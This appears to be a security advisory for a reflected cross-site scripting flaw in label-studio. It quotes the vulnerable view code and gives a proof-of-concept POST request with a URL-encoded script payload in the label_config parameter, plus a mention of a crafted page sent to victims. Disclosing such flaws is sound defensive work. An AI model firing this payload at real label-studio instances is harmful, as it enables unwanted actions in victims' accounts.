Summary

label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.

Details

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py. python 39: @require_http_methods(['POST']) 40: def upload_example_using_config(request): 41: """Generate upload data example by config only""" 42: config = request.POST.get('label_config', '') 43: 44: org_pk = get_organization_from_request(request) 45: secure_mode = False 46: if org_pk is not None: 47: org = generics.get_object_or_404(Organization, pk=org_pk) 48: secure_mode = org.secure_mode 49: 50: try: 51: Project.validate_label_config(config) 52: task_data, _, _ = get_sample_task(config, secure_mode) 53: task_data = playground_replacements(request, task_data) 54: except (ValueError, ValidationError, lxml.etree.Error): 55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST) 56: else: 57: response = HttpResponse(json.dumps(task_data)) 58: return response The vulnerability is specifically located in line 57, where HttpResponse is used. python 57: response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own. ```css POST /projects/upload-example/ HTTP/1.1 Host: {host} Content-Type: application/x-www-form-urlencoded Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e Or you can create a vulnerable HTML page by changing `{domain}` beforehand, which can later be sent to the victim.html

```

Impact

Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
